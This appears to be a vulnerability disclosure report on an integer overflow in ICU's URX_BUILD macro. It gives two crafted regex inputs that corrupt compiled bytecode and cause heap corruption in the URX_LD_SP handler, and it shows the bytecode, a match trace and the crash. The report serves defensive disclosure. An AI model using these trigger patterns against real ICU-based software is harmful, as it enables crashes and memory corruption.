Integer overflow issues in URX_BUILD (source/i18n/regeximp.h)

#define URX_BUILD(type, val) (int32_t)((type << 24) | (val))

val is expected to be a 24-bit integer, and can overflow into type if it can be
larger.

Issues occur in RegexCompile::doParseActions in a large proportion of
instructions, and as a result of the compiled pattern size, the frame size or
the data size being larger than 0x1000000.

Two examples with regexes to trigger the issue:

1) '()' * (0x1000000 / 3) triggers the issue in doOpenCaptureParen

fixLiterals();
fRXPat->fCompiledPat->addElement(URX_BUILD(URX_NOP, 0), *fStatus);
int32_t  varsLoc    = fRXPat->fFrameSize;    // Reserve three slots in match stack frame.
fRXPat->fFrameSize += 3;
int32_t  cop        = URX_BUILD(URX_START_CAPTURE, varsLoc);  <----------------- HERE
fRXPat->fCompiledPat->addElement(cop, *fStatus);
fRXPat->fCompiledPat->addElement(URX_BUILD(URX_NOP, 0), *fStatus);


2) Heap underflow after converting URX_STO_SP to URX_LD_SP

'(' + 'A++' * 0x1000000 + '){0}B++'

This will compile to the following bytecode:

Index   Binary     Type             Operand
-------------------------------------------
   0   06000002    STATE_SAVE       2
   1   0d000003    JMP              3
   2   0e000000    FAIL
   3   21000000    LD_SP            0          <------------------------------- This should be STO_SP
   4   03000042    ONECHAR          B
   5   06000007    STATE_SAVE       7
   6   0d000004    JMP              4
   7   21000000    LD_SP            0
   8   02000000    END

If this is matched against the string 'BCD' this will result in the following calculation

inputIdx=0   inputChar=42   sp=  0   activeLimit=3     0   06000002    STATE_SAVE       2
inputIdx=0   inputChar=42   sp=  5   activeLimit=3     1   0d000003    JMP              3
inputIdx=0   inputChar=42   sp=  5   activeLimit=3     3   21000000    LD_SP            0
re(37889,0x7fff7aff2310) malloc: *** error for object 0xffffffffffffffff: pointer being freed was not allocated

This has triggered a heap underflow in URX_LD_SP:

case URX_LD_SP:
    {
        U_ASSERT(opValue >= 0 && opValue < fPattern->fDataSize);
        int32_t newStackSize = (int32_t)fData[opValue];
        U_ASSERT(newStackSize <= fStack->size());
        int64_t *newFP = fStack->getBuffer() + newStackSize - fFrameSize; <---- newStackSize == 0
        if (newFP == (int64_t *)fp) {
            break;
        }
        int32_t i;
        for (i=0; i<fFrameSize; i++) {
            newFP[i] = ((int64_t *)fp)[i]; <----------------------------------- Heap corruption
        }
        fp = (REStackFrame *)newFP;
        fStack->setSize(newStackSize);
    }
    break;

This bug is subject to a 90 day disclosure deadline. If 90 days elapse
without a broadly available patch, then the bug report will automatically
become visible to the public.